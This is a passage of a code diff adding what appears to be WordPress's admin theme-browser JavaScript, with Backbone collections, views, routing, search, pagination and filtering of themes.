+			this.trigger( 'query:empty' );
+		} else {
+			$( 'body' ).removeClass( 'no-results' );
+		}
+
+		this.reset( results );
+	},
+
+	// Paginates the collection with a helper method
+	// that slices the collection
+	paginate: function( instance ) {
+		var collection = this;
+		instance = instance || 0;
+
+		// Themes per instance are set at 20
+		collection = _( collection.rest( 20 * instance ) );
+		collection = _( collection.first( 20 ) );
+
+		return collection;
+	},
+
+	count: false,
+
+	// Handles requests for more themes
+	// and caches results
+	//
+	// When we are missing a cache object we fire an apiCall()
+	// which triggers events of `query:success` or `query:fail`
+	query: function( request ) {
+		/**
+		 * @static
+		 * @type Array
+		 */
+		var queries = this.queries,
+			self = this,
+			query, isPaginated, count;
+
+		// Store current query request args
+		// for later use with the event `theme:end`
+		this.currentQuery.request = request;
+
+		// Search the query cache for matches.
+		query = _.find( queries, function( query ) {
+			return _.isEqual( query.request, request );
+		});
+
+		// If the request matches the stored currentQuery.request
+		// it means we have a paginated request.
+		isPaginated = _.has( request, 'page' );
+
+		// Reset the internal api page counter for non paginated queries.
+		if ( ! isPaginated ) {
+			this.currentQuery.page = 1;
+		}
+
+		// Otherwise, send a new API call and add it to the cache.
+		if ( ! query && ! isPaginated ) {
+			query = this.apiCall( request ).done( function( data ) {
+
+				// Update the collection with the queried data.
+				if ( data.themes ) {
+					self.reset( data.themes );
+					count = data.info.results;
+					// Store the results and the query request
+					queries.push( { themes: data.themes, request: request, total: count } );
+				}
+
+				// Trigger a collection refresh event
+				// and a `query:success` event with a `count` argument.
+				self.trigger( 'update' );
+				self.trigger( 'query:success', count );
+
+				if ( data.themes && data.themes.length === 0 ) {
+					self.trigger( 'query:empty' );
+				}
+
+			}).fail( function() {
+				self.trigger( 'query:fail' );
+			});
+		} else {
+			// If it's a paginated request we need to fetch more themes...
+			if ( isPaginated ) {
+				return this.apiCall( request, isPaginated ).done( function( data ) {
+					// Add the new themes to the current collection
+					// @todo update counter
+					self.add( data.themes );
+					self.trigger( 'query:success' );
+
+					// We are done loading themes for now.
+					self.loadingThemes = false;
+
+				}).fail( function() {
+					self.trigger( 'query:fail' );
+				});
+			}
+
+			if ( query.themes.length === 0 ) {
+				self.trigger( 'query:empty' );
+			} else {
+				$( 'body' ).removeClass( 'no-results' );
+			}
+
+			// Only trigger an update event since we already have the themes
+			// on our cached object
+			if ( _.isNumber( query.total ) ) {
+				this.count = query.total;
+			}
+
+			this.reset( query.themes );
+			if ( ! query.total ) {
+				this.count = this.length;
+			}
+
+			this.trigger( 'update' );
+			this.trigger( 'query:success', this.count );
+		}
+	},
+
+	// Local cache array for API queries
+	queries: [],
+
+	// Keep track of current query so we can handle pagination
+	currentQuery: {
+		page: 1,
+		request: {}
+	},
+
+	// Send request to api.wordpress.org/themes
+	apiCall: function( request, paginated ) {
+		return wp.ajax.send( 'query-themes', {
+			data: {
+			// Request data
+				request: _.extend({
+					per_page: 100,
+					fields: {
+						description: true,
+						tested: true,
+						requires: true,
+						rating: true,
+						downloaded: true,
+						downloadLink: true,
+						last_updated: true,
+						homepage: true,
+						num_ratings: true
+					}
+				}, request)
+			},
+
+			beforeSend: function() {
+				if ( ! paginated ) {
+					// Spin it
+					$( 'body' ).addClass( 'loading-content' ).removeClass( 'no-results' );
+				}
+			}
+		});
+	},
+
+	// Static status controller for when we are loading themes.
+	loadingThemes: false
+});
+
+// This is the view that controls each theme item
+// that will be displayed on the screen
+themes.view.Theme = wp.Backbone.View.extend({
+
+	// Wrap theme data on a div.theme element
+	className: 'theme',
+
+	// Reflects which theme view we have
+	// 'grid' (default) or 'detail'
+	state: 'grid',
+
+	// The HTML template for each element to be rendered
+	html: themes.template( 'theme' ),
+
+	events: {
+		'click': themes.isInstall ? 'preview': 'expand',
+		'keydown': themes.isInstall ? 'preview': 'expand',
+		'touchend': themes.isInstall ? 'preview': 'expand',
+		'keyup': 'addFocus',
+		'touchmove': 'preventExpand'
+	},
+
+	touchDrag: false,
+
+	render: function() {
+		var data = this.model.toJSON();
+		// Render themes using the html template
+		this.$el.html( this.html( data ) ).attr({
+			tabindex: 0,
+			'aria-describedby' : data.id + '-action ' + data.id + '-name'
+		});
+
+		// Renders active theme styles
+		this.activeTheme();
+
+		if ( this.model.get( 'displayAuthor' ) ) {
+			this.$el.addClass( 'display-author' );
+		}
+
+		if ( this.model.get( 'installed' ) ) {
+			this.$el.addClass( 'is-installed' );
+		}
+	},
+
+	// Adds a class to the currently active theme
+	// and to the overlay in detailed view mode
+	activeTheme: function() {
+		if ( this.model.get( 'active' ) ) {
+			this.$el.addClass( 'active' );
+		}
+	},
+
+	// Add class of focus to the theme we are focused on.
+	addFocus: function() {
+		var $themeToFocus = ( $( ':focus' ).hasClass( 'theme' ) ) ? $( ':focus' ) : $(':focus').parents('.theme');
+
+		$('.theme.focus').removeClass('focus');
+		$themeToFocus.addClass('focus');
+	},
+
+	// Single theme overlay screen
+	// It's shown when clicking a theme
+	expand: function( event ) {
+		var self = this;
+
+		event = event || window.event;
+
+		// 'enter' and 'space' keys expand the details view when a theme is :focused
+		if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) {
+			return;
+		}
+
+		// Bail if the user scrolled on a touch device
+		if ( this.touchDrag === true ) {
+			return this.touchDrag = false;
+		}
+
+		// Prevent the modal from showing when the user clicks
+		// one of the direct action buttons
+		if ( $( event.target ).is( '.theme-actions a' ) ) {
+			return;
+		}
+
+		// Set focused theme to current element
+		themes.focusedTheme = this.$el;
+
+		this.trigger( 'theme:expand', self.model.cid );
+	},
+
+	preventExpand: function() {
+		this.touchDrag = true;
+	},
+
+	preview: function( event ) {
+		var self = this,
+			current, preview;
+
+		// Bail if the user scrolled on a touch device
+		if ( this.touchDrag === true ) {
+			return this.touchDrag = false;
+		}
+
+		// Allow direct link path to installing a theme.
+		if ( $( event.target ).hasClass( 'button-primary' ) ) {
+			return;
+		}
+
+		// 'enter' and 'space' keys expand the details view when a theme is :focused
+		if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) {
+			return;
+		}
+
+		// pressing enter while focused on the buttons shouldn't open the preview
+		if ( event.type === 'keydown' && event.which !== 13 && $( ':focus' ).hasClass( 'button' ) ) {
+			return;
+		}
+
+		event.preventDefault();
+
+		event = event || window.event;
+
+		// Set focus to current theme.
+		themes.focusedTheme = this.$el;
+
+		// Construct a new Preview view.
+		preview = new themes.view.Preview({
+			model: this.model
+		});
+
+		// Render the view and append it.
+		preview.render();
+		this.setNavButtonsState();
+
+		// Hide previous/next navigation if there is only one theme
+		if ( this.model.collection.length === 1 ) {
+			preview.$el.addClass( 'no-navigation' );
+		} else {
+			preview.$el.removeClass( 'no-navigation' );
+		}
+
+		// Append preview
+		$( 'div.wrap' ).append( preview.el );
+
+		// Listen to our preview object
+		// for `theme:next` and `theme:previous` events.
+		this.listenTo( preview, 'theme:next', function() {
+
+			// Keep local track of current theme model.
+			current = self.model;
+
+			// If we have ventured away from current model update the current model position.
+			if ( ! _.isUndefined( self.current ) ) {
+				current = self.current;
+			}
+
+			// Get next theme model.
+			self.current = self.model.collection.at( self.model.collection.indexOf( current ) + 1 );
+
+			// If we have no more themes, bail.
+			if ( _.isUndefined( self.current ) ) {
+				self.options.parent.parent.trigger( 'theme:end' );
+				return self.current = current;
+			}
+
+			preview.model = self.current;
+
+			// Render and append.
+			preview.render();
+			this.setNavButtonsState();
+			$( '.next-theme' ).focus();
+		})
+		.listenTo( preview, 'theme:previous', function() {
+
+			// Keep track of current theme model.
+			current = self.model;
+
+			// Bail early if we are at the beginning of the collection
+			if ( self.model.collection.indexOf( self.current ) === 0 ) {
+				return;
+			}
+
+			// If we have ventured away from current model update the current model position.
+			if ( ! _.isUndefined( self.current ) ) {
+				current = self.current;
+			}
+
+			// Get previous theme model.
+			self.current = self.model.collection.at( self.model.collection.indexOf( current ) - 1 );
+
+			// If we have no more themes, bail.
+			if ( _.isUndefined( self.current ) ) {
+				return;
+			}
+
+			preview.model = self.current;
+
+			// Render and append.
+			preview.render();
+			this.setNavButtonsState();
+			$( '.previous-theme' ).focus();
+		});
+
+		this.listenTo( preview, 'preview:close', function() {
+			self.current = self.model;
+		});
+	},
+
+	// Handles .disabled classes for previous/next buttons in theme installer preview
+	setNavButtonsState: function() {
+		var $themeInstaller = $( '.theme-install-overlay' ),
+			current = _.isUndefined( this.current ) ? this.model : this.current;
+
+		// Disable previous at the zero position
+		if ( 0 === this.model.collection.indexOf( current ) ) {
+			$themeInstaller.find( '.previous-theme' ).addClass( 'disabled' );
+		}
+
+		// Disable next if the next model is undefined
+		if ( _.isUndefined( this.model.collection.at( this.model.collection.indexOf( current ) + 1 ) ) ) {
+			$themeInstaller.find( '.next-theme' ).addClass( 'disabled' );
+		}
+	}
+});
+
+// Theme Details view
+// Set ups a modal overlay with the expanded theme data
+themes.view.Details = wp.Backbone.View.extend({
+
+	// Wrap theme data on a div.theme element
+	className: 'theme-overlay',
+
+	events: {
+		'click': 'collapse',
+		'click .delete-theme': 'deleteTheme',
+		'click .left': 'previousTheme',
+		'click .right': 'nextTheme'
+	},
+
+	// The HTML template for the theme overlay
+	html: themes.template( 'theme-single' ),
+
+	render: function() {
+		var data = this.model.toJSON();
+		this.$el.html( this.html( data ) );
+		// Renders active theme styles
+		this.activeTheme();
+		// Set up navigation events
+		this.navigation();
+		// Checks screenshot size
+		this.screenshotCheck( this.$el );
+		// Contain "tabbing" inside the overlay
+		this.containFocus( this.$el );
+	},
+
+	// Adds a class to the currently active theme
+	// and to the overlay in detailed view mode
+	activeTheme: function() {
+		// Check the model has the active property
+		this.$el.toggleClass( 'active', this.model.get( 'active' ) );
+	},
+
+	// Keeps :focus within the theme details elements
+	containFocus: function( $el ) {
+		var $target;
+
+		// Move focus to the primary action
+		_.delay( function() {
+			$( '.theme-wrap a.button-primary:visible' ).focus();
+		}, 500 );
+
+		$el.on( 'keydown.wp-themes', function( event ) {
+
+			// Tab key
+			if ( event.which === 9 ) {
+				$target = $( event.target );
+
+				// Keep focus within the overlay by making the last link on theme actions
+				// switch focus to button.left on tabbing and vice versa
+				if ( $target.is( 'button.left' ) && event.shiftKey ) {
+					$el.find( '.theme-actions a:last-child' ).focus();
+					event.preventDefault();
+				} else if ( $target.is( '.theme-actions a:last-child' ) ) {
+					$el.find( 'button.left' ).focus();
+					event.preventDefault();
+				}
+			}
+		});
+	},
+
+	// Single theme overlay screen
+	// It's shown when clicking a theme
+	collapse: function( event ) {
+		var self = this,
+			scroll;
+
+		event = event || window.event;
+
+		// Prevent collapsing detailed view when there is only one theme available
+		if ( themes.data.themes.length === 1 ) {
+			return;
+		}
+
+		// Detect if the click is inside the overlay
+		// and don't close it unless the target was
+		// the div.back button
+		if ( $( event.target ).is( '.theme-backdrop' ) || $( event.target ).is( '.close' ) || event.keyCode === 27 ) {
+
+			// Add a temporary closing class while overlay fades out
+			$( 'body' ).addClass( 'closing-overlay' );
+
+			// With a quick fade out animation
+			this.$el.fadeOut( 130, function() {
+				// Clicking outside the modal box closes the overlay
+				$( 'body' ).removeClass( 'closing-overlay' );
+				// Handle event cleanup
+				self.closeOverlay();
+
+				// Get scroll position to avoid jumping to the top
+				scroll = document.body.scrollTop;
+
+				// Clean the url structure
+				themes.router.navigate( themes.router.baseUrl( '' ) );
+
+				// Restore scroll position
+				document.body.scrollTop = scroll;
+
+				// Return focus to the theme div
+				if ( themes.focusedTheme ) {
+					themes.focusedTheme.focus();
+				}
+			});
+		}
+	},
+
+	// Handles .disabled classes for next/previous buttons
+	navigation: function() {
+
+		// Disable Left/Right when at the start or end of the collection
+		if ( this.model.cid === this.model.collection.at(0).cid ) {
+			this.$el.find( '.left' ).addClass( 'disabled' );
+		}
+		if ( this.model.cid === this.model.collection.at( this.model.collection.length - 1 ).cid ) {
+			this.$el.find( '.right' ).addClass( 'disabled' );
+		}
+	},
+
+	// Performs the actions to effectively close
+	// the theme details overlay
+	closeOverlay: function() {
+		$( 'body' ).removeClass( 'modal-open' );
+		this.remove();
+		this.unbind();
+		this.trigger( 'theme:collapse' );
+	},
+
+	// Confirmation dialog for deleting a theme
+	deleteTheme: function() {
+		return confirm( themes.data.settings.confirmDelete );
+	},
+
+	nextTheme: function() {
+		var self = this;
+		self.trigger( 'theme:next', self.model.cid );
+		return false;
+	},
+
+	previousTheme: function() {
+		var self = this;
+		self.trigger( 'theme:previous', self.model.cid );
+		return false;
+	},
+
+	// Checks if the theme screenshot is the old 300px width version
+	// and adds a corresponding class if it's true
+	screenshotCheck: function( el ) {
+		var screenshot, image;
+
+		screenshot = el.find( '.screenshot img' );
+		image = new Image();
+		image.src = screenshot.attr( 'src' );
+
+		// Width check
+		if ( image.width && image.width <= 300 ) {
+			el.addClass( 'small-screenshot' );
+		}
+	}
+});
+
+// Theme Preview view
+// Set ups a modal overlay with the expanded theme data
+themes.view.Preview = themes.view.Details.extend({
+
+	className: 'wp-full-overlay expanded',
+	el: '.theme-install-overlay',
+
+	events: {
+		'click .close-full-overlay': 'close',
+		'click .collapse-sidebar': 'collapse',
+		'click .previous-theme': 'previousTheme',
+		'click .next-theme': 'nextTheme',
+		'keyup': 'keyEvent'
+	},
+
+	// The HTML template for the theme preview
+	html: themes.template( 'theme-preview' ),
+
+	render: function() {
+		var data = this.model.toJSON();
+
+		this.$el.html( this.html( data ) );
+
+		themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.get( 'id' ) ), { replace: true } );
+
+		this.$el.fadeIn( 200, function() {
+			$( 'body' ).addClass( 'theme-installer-active full-overlay-active' );
+			$( '.close-full-overlay' ).focus();
+		});
+	},
+
+	close: function() {
+		this.$el.fadeOut( 200, function() {
+			$( 'body' ).removeClass( 'theme-installer-active full-overlay-active' );
+
+			// Return focus to the theme div
+			if ( themes.focusedTheme ) {
+				themes.focusedTheme.focus();
+			}
+		});
+
+		themes.router.navigate( themes.router.baseUrl( '' ) );
+		this.trigger( 'preview:close' );
+		this.undelegateEvents();
+		this.unbind();
+		return false;
+	},
+
+	collapse: function() {
+
+		this.$el.toggleClass( 'collapsed' ).toggleClass( 'expanded' );
+		return false;
+	},
+
+	keyEvent: function( event ) {
+		// The escape key closes the preview
+		if ( event.keyCode === 27 ) {
+			this.undelegateEvents();
+			this.close();
+		}
+		// The right arrow key, next theme
+		if ( event.keyCode === 39 ) {
+			_.once( this.nextTheme() );
+		}
+
+		// The left arrow key, previous theme
+		if ( event.keyCode === 37 ) {
+			this.previousTheme();
+		}
+	}
+});
+
+// Controls the rendering of div.themes,
+// a wrapper that will hold all the theme elements
+themes.view.Themes = wp.Backbone.View.extend({
+
+	className: 'themes',
+	$overlay: $( 'div.theme-overlay' ),
+
+	// Number to keep track of scroll position
+	// while in theme-overlay mode
+	index: 0,
+
+	// The theme count element
+	count: $( '.wp-filter .theme-count' ),
+
+	initialize: function( options ) {
+		var self = this;
+
+		// Set up parent
+		this.parent = options.parent;
+
+		// Set current view to [grid]
+		this.setView( 'grid' );
+
+		// Move the active theme to the beginning of the collection
+		self.currentTheme();
+
+		// When the collection is updated by user input...
+		this.listenTo( self.collection, 'update', function() {
+			self.parent.page = 0;
+			self.currentTheme();
+			self.render( this );
+		});
+
+		// Update theme count to full result set when available.
+		this.listenTo( self.collection, 'query:success', function( count ) {
+			if ( _.isNumber( count ) ) {
+				self.count.text( count );
+			} else {
+				self.count.text( self.collection.length );
+			}
+		});
+
+		this.listenTo( self.collection, 'query:empty', function() {
+			$( 'body' ).addClass( 'no-results' );
+		});
+
+		this.listenTo( this.parent, 'theme:scroll', function() {
+			self.renderThemes( self.parent.page );
+		});
+
+		this.listenTo( this.parent, 'theme:close', function() {
+			if ( self.overlay ) {
+				self.overlay.closeOverlay();
+			}
+		} );
+
+		// Bind keyboard events.
+		$( 'body' ).on( 'keyup', function( event ) {
+			if ( ! self.overlay ) {
+				return;
+			}
+
+			// Pressing the right arrow key fires a theme:next event
+			if ( event.keyCode === 39 ) {
+				self.overlay.nextTheme();
+			}
+
+			// Pressing the left arrow key fires a theme:previous event
+			if ( event.keyCode === 37 ) {
+				self.overlay.previousTheme();
+			}
+
+			// Pressing the escape key fires a theme:collapse event
+			if ( event.keyCode === 27 ) {
+				self.overlay.collapse( event );
+			}
+		});
+	},
+
+	// Manages rendering of theme pages
+	// and keeping theme count in sync
+	render: function() {
+		// Clear the DOM, please
+		this.$el.html( '' );
+
+		// If the user doesn't have switch capabilities
+		// or there is only one theme in the collection
+		// render the detailed view of the active theme
+		if ( themes.data.themes.length === 1 ) {
+
+			// Constructs the view
+			this.singleTheme = new themes.view.Details({
+				model: this.collection.models[0]
+			});
+
+			// Render and apply a 'single-theme' class to our container
+			this.singleTheme.render();
+			this.$el.addClass( 'single-theme' );
+			this.$el.append( this.singleTheme.el );
+		}
+
+		// Generate the themes
+		// Using page instance
+		// While checking the collection has items
+		if ( this.options.collection.size() > 0 ) {
+			this.renderThemes( this.parent.page );
+		}
+
+		// Display a live theme count for the collection
+		this.count.text( this.collection.count ? this.collection.count : this.collection.length );
+	},
+
+	// Iterates through each instance of the collection
+	// and renders each theme module
+	renderThemes: function( page ) {
+		var self = this;
+
+		self.instance = self.collection.paginate( page );
+
+		// If we have no more themes bail
+		if ( self.instance.size() === 0 ) {
+			// Fire a no-more-themes event.
+			this.parent.trigger( 'theme:end' );
+			return;
+		}
+
+		// Make sure the add-new stays at the end
+		if ( page >= 1 ) {
+			$( '.add-new-theme' ).remove();
+		}
+
+		// Loop through the themes and setup each theme view
+		self.instance.each( function( theme ) {
+			self.theme = new themes.view.Theme({
+				model: theme,
+				parent: self
+			});
+
+			// Render the views...
+			self.theme.render();
+			// and append them to div.themes
+			self.$el.append( self.theme.el );
+
+			// Binds to theme:expand to show the modal box
+			// with the theme details
+			self.listenTo( self.theme, 'theme:expand', self.expand, self );
+		});
+
+		// 'Add new theme' element shown at the end of the grid
+		if ( themes.data.settings.canInstall ) {
+			this.$el.append( '<div class="theme add-new-theme"><a href="' + themes.data.settings.installURI + '"><div class="theme-screenshot"><span></span></div><h3 class="theme-name">' + l10n.addNew + '</h3></a></div>' );
+		}
+
+		this.parent.page++;
+	},
+
+	// Grabs current theme and puts it at the beginning of the collection
+	currentTheme: function() {
+		var self = this,
+			current;
+
+		current = self.collection.findWhere({ active: true });
+
+		// Move the active theme to the beginning of the collection
+		if ( current ) {
+			self.collection.remove( current );
+			self.collection.add( current, { at:0 } );
+		}
+	},
+
+	// Sets current view
+	setView: function( view ) {
+		return view;
+	},
+
+	// Renders the overlay with the ThemeDetails view
+	// Uses the current model data
+	expand: function( id ) {
+		var self = this;
+
+		// Set the current theme model
+		this.model = self.collection.get( id );
+
+		// Trigger a route update for the current model
+		themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.id ) );
+
+		// Sets this.view to 'detail'
+		this.setView( 'detail' );
+		$( 'body' ).addClass( 'modal-open' );
+
+		// Set up the theme details view
+		this.overlay = new themes.view.Details({
+			model: self.model
+		});
+
+		this.overlay.render();
+		this.$overlay.html( this.overlay.el );
+
+		// Bind to theme:next and theme:previous
+		// triggered by the arrow keys
+		//
+		// Keep track of the current model so we
+		// can infer an index position
+		this.listenTo( this.overlay, 'theme:next', function() {
+			// Renders the next theme on the overlay
+			self.next( [ self.model.cid ] );
+
+		})
+		.listenTo( this.overlay, 'theme:previous', function() {
+			// Renders the previous theme on the overlay
+			self.previous( [ self.model.cid ] );
+		});
+	},
+
+	// This method renders the next theme on the overlay modal
+	// based on the current position in the collection
+	// @params [model cid]
+	next: function( args ) {
+		var self = this,
+			model, nextModel;
+
+		// Get the current theme
+		model = self.collection.get( args[0] );
+		// Find the next model within the collection
+		nextModel = self.collection.at( self.collection.indexOf( model ) + 1 );
+
+		// Sanity check which also serves as a boundary test
+		if ( nextModel !== undefined ) {
+
+			// We have a new theme...
+			// Close the overlay
+			this.overlay.closeOverlay();
+
+			// Trigger a route update for the current model
+			self.theme.trigger( 'theme:expand', nextModel.cid );
+
+		}
+	},
+
+	// This method renders the previous theme on the overlay modal
+	// based on the current position in the collection
+	// @params [model cid]
+	previous: function( args ) {
+		var self = this,
+			model, previousModel;
+
+		// Get the current theme
+		model = self.collection.get( args[0] );
+		// Find the previous model within the collection
+		previousModel = self.collection.at( self.collection.indexOf( model ) - 1 );
+
+		if ( previousModel !== undefined ) {
+
+			// We have a new theme...
+			// Close the overlay
+			this.overlay.closeOverlay();
+
+			// Trigger a route update for the current model
+			self.theme.trigger( 'theme:expand', previousModel.cid );
+
+		}
+	}
+});
+
+// Search input view controller.
+themes.view.Search = wp.Backbone.View.extend({
+
+	tagName: 'input',
+	className: 'wp-filter-search',
+	id: 'wp-filter-search-input',
+	searching: false,
+
+	attributes: {
+		placeholder: l10n.searchPlaceholder,
+		type: 'search'
+	},
+
+	events: {
+		'input':  'search',
+		'keyup':  'search',
+		'change': 'search',
+		'search': 'search',
+		'blur':   'pushState'
+	},
+
+	initialize: function( options ) {
+
+		this.parent = options.parent;
+
+		this.listenTo( this.parent, 'theme:close', function() {
+			this.searching = false;
+		} );
+
+	},
+
+	// Runs a search on the theme collection.
+	search: function( event ) {
+		var options = {};
+
+		// Clear on escape.
+		if ( event.type === 'keyup' && event.which === 27 ) {
+			event.target.value = '';
+		}
+
+		// Lose input focus when pressing enter
+		if ( event.which === 13 ) {
+			this.$el.trigger( 'blur' );
+		}
+
+		this.collection.doSearch( event.target.value );
+
+		// if search is initiated and key is not return
+		if ( this.searching && event.which !== 13 ) {
+			options.replace = true;
+		} else {
+			this.searching = true;
+		}
+
+		// Update the URL hash
+		if ( event.target.value ) {
+			themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + event.target.value ), options );
+		} else {
+			themes.router.navigate( themes.router.baseUrl( '' ) );
+		}
+	},
+
+	pushState: function( event ) {
+		var url = themes.router.baseUrl( '' );
+
+		if ( event.target.value ) {
+			url = themes.router.baseUrl( themes.router.searchPath + event.target.value );
+		}
+
+		this.searching = false;
+		themes.router.navigate( url );
+
+	}
+});
+
+// Sets up the routes events for relevant url queries
+// Listens to [theme] and [search] params
+themes.Router = Backbone.Router.extend({
+
+	routes: {
+		'themes.php?theme=:slug': 'theme',
+		'themes.php?search=:query': 'search',
+		'themes.php?s=:query': 'search',
+		'themes.php': 'themes',
+		'': 'themes'
+	},
+
+	baseUrl: function( url ) {
+		return 'themes.php' + url;
+	},
+
+	themePath: '?theme=',
+	searchPath: '?search=',
+
+	search: function( query ) {
+		$( '.wp-filter-search' ).val( query );
+	},
+
+	themes: function() {
+		$( '.wp-filter-search' ).val( '' );
+	},
+
+	navigate: function() {
+		if ( Backbone.history._hasPushState ) {
+			Backbone.Router.prototype.navigate.apply( this, arguments );
+		}
+	}
+
+});
+
+// Execute and setup the application
+themes.Run = {
+	init: function() {
+		// Initializes the blog's theme library view
+		// Create a new collection with data
+		this.themes = new themes.Collection( themes.data.themes );
+
+		// Set up the view
+		this.view = new themes.view.Appearance({
+			collection: this.themes
+		});
+
+		this.render();
+	},
+
+	render: function() {
+
+		// Render results
+		this.view.render();
+		this.routes();
+
+		Backbone.history.start({
+			root: themes.data.settings.adminUrl,
+			pushState: true,
+			hashChange: false
+		});
+	},
+
+	routes: function() {
+		var self = this;
+		// Bind to our global thx object
+		// so that the object is available to sub-views
+		themes.router = new themes.Router();
+
+		// Handles theme details route event
+		themes.router.on( 'route:theme', function( slug ) {
+			self.view.view.expand( slug );
+		});
+
+		themes.router.on( 'route:themes', function() {
+			self.themes.doSearch( '' );
+			self.view.trigger( 'theme:close' );
+		});
+
+		// Handles search route event
+		themes.router.on( 'route:search', function() {
+			$( '.wp-filter-search' ).trigger( 'keyup' );
+		});
+
+		this.extraRoutes();
+	},
+
+	extraRoutes: function() {
+		return false;
+	}
+};
+
+// Extend the main Search view
+themes.view.InstallerSearch =  themes.view.Search.extend({
+
+	events: {
+		'keyup': 'search'
+	},
+
+	// Handles Ajax request for searching through themes in public repo
+	search: function( event ) {
+
+		// Tabbing or reverse tabbing into the search input shouldn't trigger a search
+		if ( event.type === 'keyup' && ( event.which === 9 || event.which === 16 ) ) {
+			return;
+		}
+
+		this.collection = this.options.parent.view.collection;
+
+		// Clear on escape.
+		if ( event.type === 'keyup' && event.which === 27 ) {
+			event.target.value = '';
+		}
+
+		_.debounce( _.bind( this.doSearch, this ), 300 )( event.target.value );
+	},
+
+	doSearch: _.debounce( function( value ) {
+		var request = {};
+
+		request.search = value;
+
+		// Intercept an [author] search.
+		//
+		// If input value starts with `author:` send a request
+		// for `author` instead of a regular `search`
+		if ( value.substring( 0, 7 ) === 'author:' ) {
+			request.search = '';
+			request.author = value.slice( 7 );
+		}
+
+		// Intercept a [tag] search.
+		//
+		// If input value starts with `tag:` send a request
+		// for `tag` instead of a regular `search`
+		if ( value.substring( 0, 4 ) === 'tag:' ) {
+			request.search = '';
+			request.tag = [ value.slice( 4 ) ];
+		}
+
+		$( '.filter-links li > a.current' ).removeClass( 'current' );
+		$( 'body' ).removeClass( 'show-filters filters-applied' );
+
+		// Get the themes by sending Ajax POST request to api.wordpress.org/themes
+		// or searching the local cache
+		this.collection.query( request );
+
+		// Set route
+		themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + value ), { replace: true } );
+	}, 300 )
+});
+
+themes.view.Installer = themes.view.Appearance.extend({
+
+	el: '#wpbody-content .wrap',
+
+	// Register events for sorting and filters in theme-navigation
+	events: {
+		'click .filter-links li > a': 'onSort',
+		'click .theme-filter': 'onFilter',
+		'click .drawer-toggle': 'moreFilters',
+		'click .filter-drawer .apply-filters': 'applyFilters',
+		'click .filter-group [type="checkbox"]': 'addFilter',
+		'click .filter-drawer .clear-filters': 'clearFilters',
+		'click .filtered-by': 'backToFilters'
+	},
+
+	// Initial render method
+	render: function() {
+		var self = this;
+
+		this.search();
+		this.uploader();
+
+		this.collection = new themes.Collection();
+
+		// Bump `collection.currentQuery.page` and request more themes if we hit the end of the page.
+		this.listenTo( this, 'theme:end', function() {
+
+			// Make sure we are not already loading
+			if ( self.collection.loadingThemes ) {
+				return;
+			}
+
+			// Set loadingThemes to true and bump page instance of currentQuery.
+			self.collection.loadingThemes = true;
+			self.collection.currentQuery.page++;
+
+			// Use currentQuery.page to build the themes request.
+			_.extend( self.collection.currentQuery.request, { page: self.collection.currentQuery.page } );
+			self.collection.query( self.collection.currentQuery.request );
+		});
+
+		this.listenTo( this.collection, 'query:success', function() {
+			$( 'body' ).removeClass( 'loading-content' );
+			$( '.theme-browser' ).find( 'div.error' ).remove();
+		});
+
+		this.listenTo( this.collection, 'query:fail', function() {
+			$( 'body' ).removeClass( 'loading-content' );
+			$( '.theme-browser' ).find( 'div.error' ).remove();
+			$( '.theme-browser' ).find( 'div.themes' ).before( '<div class="error"><p>' + l10n.error + '</p></div>' );
+		});
+
+		if ( this.view ) {
+			this.view.remove();
+		}
+
+		// Set ups the view and passes the section argument
+		this.view = new themes.view.Themes({
+			collection: this.collection,
+			parent: this
+		});
+
+		// Reset pagination every time the install view handler is run
+		this.page = 0;
+
+		// Render and append
+		this.$el.find( '.themes' ).remove();
+		this.view.render();
+		this.$el.find( '.theme-browser' ).append( this.view.el ).addClass( 'rendered' );
+	},
+
+	// Handles all the rendering of the public theme directory
+	browse: function( section ) {
+		// Create a new collection with the proper theme data
+		// for each section
+		this.collection.query( { browse: section } );
+	},
+
+	// Sorting navigation
+	onSort: function( event ) {
+		var $el = $( event.target ),
+			sort = $el.data( 'sort' );
+
+		event.preventDefault();
+
+		$( 'body' ).removeClass( 'filters-applied show-filters' );
+
+		// Bail if this is already active
+		if ( $el.hasClass( this.activeClass ) ) {
+			return;
+		}
+
+		this.sort( sort );
+
+		// Trigger a router.naviagte update
+		themes.router.navigate( themes.router.baseUrl( themes.router.browsePath + sort ) );
+	},
+
+	sort: function( sort ) {
+		this.clearSearch();
+
+		$( '.filter-links li > a, .theme-filter' ).removeClass( this.activeClass );
+		$( '[data-sort="' + sort + '"]' ).addClass( this.activeClass );
+
+		this.browse( sort );
+	},
+
+	// Filters and Tags
+	onFilter: function( event ) {
+		var request,
+			$el = $( event.target ),
+			filter = $el.data( 'filter' );
+
+		// Bail if this is already active
+		if ( $el.hasClass( this.activeClass ) ) {
+			return;
+		}
+
+		$( '.filter-links li > a, .theme-section' ).removeClass( this.activeClass );
+		$el.addClass( this.activeClass );
+
+		if ( ! filter ) {
+			return;
+		}
+
+		// Construct the filter request
+		// using the default values
+		filter = _.union( filter, this.filtersChecked() );
+		request = { tag: [ filter ] };
+
+		// Get the themes by sending Ajax POST request to api.wordpress.org/themes
+		// or searching the local cache
+		this.collection.query( request );
+	},
+
+	// Clicking on a checkbox to add another filter to the request
+	addFilter: function() {
+		this.filtersChecked();
+	},
+
+	// Applying filters triggers a tag request
+	applyFilters: function( event ) {
+		var name,
+			tags = this.filtersChecked(),
+			request = { tag: tags },
+			filteringBy = $( '.filtered-by .tags' );
+
+		if ( event ) {
+			event.preventDefault();
+		}
+
+		$( 'body' ).addClass( 'filters-applied' );
+		$( '.filter-links li > a.current' ).removeClass( 'current' );
+		filteringBy.empty();
+
+		_.each( tags, function( tag ) {
+			name = $( 'label[for="filter-id-' + tag + '"]' ).text();
+			filteringBy.append( '<span class="tag">' + name + '</span>' );
+		});
+
+		// Get the themes by sending Ajax POST request to api.wordpress.org/themes
+		// or searching the local cache
+		this.collection.query( request );
+	},
+
+	// Get the checked filters
+	// @return {array} of tags or false
+	filtersChecked: function() {
+		var items = $( '.filter-group' ).find( ':checkbox' ),
+			tags = [];
+
+		_.each( items.filter( ':checked' ), function( item ) {
+			tags.push( $( item ).prop( 'value' ) );
+		});
+
+		// When no filters are checked, restore initial state and return
+		if ( tags.length === 0 ) {
+			$( '.filter-drawer .apply-filters' ).find( 'span' ).text( '' );
